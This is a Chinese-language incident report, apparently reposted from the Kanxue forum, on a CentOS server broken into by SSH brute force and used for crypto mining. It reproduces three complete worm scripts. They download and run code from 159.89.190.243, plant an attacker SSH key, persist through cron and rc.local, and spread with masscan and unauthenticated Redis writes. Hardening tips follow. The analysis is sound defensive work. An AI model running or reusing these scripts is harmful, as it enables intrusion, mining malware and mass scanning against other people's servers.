記一次Linux被入侵全過程
周一早上剛到辦公室,就聽到同事說有一臺服務器登陸不上了,我也沒放在心上,繼續邊吃早點,邊看幣價是不是又跌了。不一會運維的同事也到了,氣喘吁吁的說:我們有臺服務器被阿里云凍結了,理由:對外惡意發包。我放下酸菜餡的包子,SSH連了一下,被拒絕了,問了下默認的22端口被封了。讓運維的同事把端口改了一下,立馬連上去,順便看了一下登錄名:root,還有不足8位的小白密碼,心里一涼:被黑了!
服務器系統CentOS 6.X,部署了Nginx,Tomcat,Redis等應用,上來先把數據庫全備份到本地,然后top命令看了一下,有2個99%的同名進程還在運行,叫gpg-agentd。

Google了一下GPG,結果是:
GPG提供的gpg-agent提供了對SSH協議的支持,這個功能可以大大簡化密鑰的管理工作。
看起來像是一個很正經的程序嘛,但仔細再看看服務器上的進程后面還跟著一個字母d,偽裝的很好,讓人想起來Windows上各種看起來像svchost.exe的病毒。繼續:
ps eho command -p 23374 netstat -pan | grep 23374
看pid:23374進程啟動路徑和網絡狀況,也就是來到了圖1的目錄,到此已經找到了黑客留下的二進制可執行文件。接下來還有2個問題在等著我:
文件是怎么上傳的?
這個文件的目的是什么,或是黑客想干嘛?
history看一下,記錄果然都被清掉了,沒留下任何痕跡。繼續命令more messages。

看到了在半夜12點左右,在服務器上裝了很多軟件,其中有幾個軟件引起了我的注意,下面詳細講。邊找邊猜,如果我們要做壞事,大概會在哪里做文章,自動啟動?定時啟動?對,計劃任務。
crontab -e

果然,線索找到了。
作案動機
上面的計劃任務的意思就是每15分鐘去服務器上下載一個腳本,并且執行這個腳本。我們把腳本下載下來看一下。
curl -fsSL 159.89.190.243/ash.php > ash.sh
腳本內容如下:
uname -a id hostname setenforce 0 2>/dev/null ulimit -n 50000 ulimit -u 50000 crontab -r 2>/dev/null rm -rf /var/spool/cron/* 2>/dev/null mkdir -p /var/spool/cron/crontabs 2>/dev/null mkdir -p /root/.ssh 2>/dev/null echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keys echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root yum install -y bash 2>/dev/null apt install -y bash 2>/dev/null apt-get install -y bash 2>/dev/null bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null
大致分析一下該腳本的主要用途:
首先是關閉SELinux,解除shell資源訪問限制,然后在/root/.ssh/authorized_keys文件中生成SSH公鑰,這樣每次黑客登錄這臺服務器就可以免密碼登錄了,執行腳本就會方便很多,關于ssh keys的文章可以參考這一篇文章:https://www.ruanyifeng.com/blog/2011/12/ssh_remote_login.html。接下來安裝bash,最后是繼續下載第二個腳本bsh.php,并且執行。
繼續下載并分析bsh.pbp,內容如下:
sleep $( seq 3 7 | sort -R | head -n1 )
cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi
sleep 1
echo 1 > .watch
sleep 1
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db
echo '/usr/bin/gpg-agentd' > /etc/rc.local
echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local
echo 'exit 0' >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if [ -x "$(command -v apt-get)" ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
fi
if [ -x "$(command -v yum)" ]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
fi
sleep 3 && rm -rf .watch
bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null
這段腳本的代碼比較長,但主要的功能有4個:
下載遠程代碼到本地,添加執行權限,chmod u+x。
修改rc.local,讓本地代碼開機自動執行。
下載GitHub上的開源掃描器代碼,并安裝相關的依賴軟件,也就是我上面的messages里看到的記錄。
下載第三個腳本,并且執行。
我去GitHub上看了下這個開源代碼,簡直吊炸天。
MASSCAN: Mass IP port scanner
This is the fastest Internet port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second.
It produces results similar to nmap, the most famous port scanner.
Internally, it uses asynchronous transmission, similar to port scanners like scanrand, unicornscan, and ZMap. It's more flexible, allowing arbitrary port and address ranges.
NOTE: masscan uses a custom TCP/IP stack. Anything other than simple port scans will cause conflict with the local TCP/IP stack. This means you need to either use the -S option to use a separate IP address, or configure your operating system to firewall the ports that masscan uses.
transmitting 10 million packets per second(每秒發送1000萬個數據包),比nmap速度還要快,這就不難理解為什么阿里云把服務器凍結了,大概看了下readme之后,我也沒有細究,繼續下載第三個腳本。
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh"' >> .dat
echo 'set backup2 "*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh"' >> .dat
echo 'set backup3 "*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh"' >> .dat
echo 'set backup4 "*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
sleep 1
masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null
如果說前兩個腳本只是在服務器上下載執行了二進制文件,那這個腳本才真正顯示病毒的威力。下面就來分析這個腳本。
一開始的修改系統環境沒什么好說的,接下來的寫文件操作有點眼熟,如果用過Redis的人,應該能猜到,這里是對Redis進行配置。寫這個配置,自然也就是利用了Redis把緩存內容寫入本地文件的漏洞,結果就是用本地的私鑰去登陸被寫入公鑰的服務器了,無需密碼就可以登陸,也就是我們文章最開始的/root/.ssh/authorized_keys。登錄之后就開始定期執行計劃任務,下載腳本。好了,配置文件準備好了,就開始利用masscan進行全網掃描Redis服務器,尋找肉雞,注意看這6379就是Redis服務器的默認端口,如果你的Redis的監聽端口是公網IP或是0.0.0.0,并且沒有密碼保護,不好意思,你就中招了。
總結
通過依次分析這3個腳本,就能看出這個病毒的可怕之處,先是通過寫入ssh public key拿到登錄權限,然后下載執行遠程二進制文件,最后再通過Redis漏洞復制,迅速在全網傳播,以指數級速度增長。那么問題是,這臺服務器是怎么中招的呢?看了下redis.conf,bind的地址是127.0.0.1,沒啥問題。由此可以推斷,應該是root帳號被暴力破解了,為了驗證我的想法,我lastb看了一下,果然有大量的記錄:

還剩最后一個問題,這個gpg-agentd程序到底是干什么的呢?我當時的第一個反應就是礦機,因為現在數字貨幣太火了,加大了分布式礦機的需求,也就催生了這條灰色產業鏈。于是,順手把這個gpg-agentd拖到ida中,用string搜索bitcoin,eth,mine等相關單詞,最終發現了這個:

打開http://nicehash.com看一下,一切都清晰了。

安全建議

服務器
- 禁用ROOT
- 用戶名和密碼盡量復雜
- 修改SSH的默認22端口
- 安裝DenyHosts防暴力破解軟件
- 禁用密碼登錄,使用RSA公鑰登錄
Redis
- 禁用公網IP監聽,包括0.0.0.0
- 使用密碼限制訪問Redis
- 使用較低權限帳號運行Redis
到此,整個入侵過程基本分析完了,如果大家對樣本有興趣,也可以自行去curl,或是去虛擬機執行上面的腳本。鑒于本人能力有限,文中難免會出現疏忽或是錯誤,還請大家多多指正。
文章來源:看雪論壇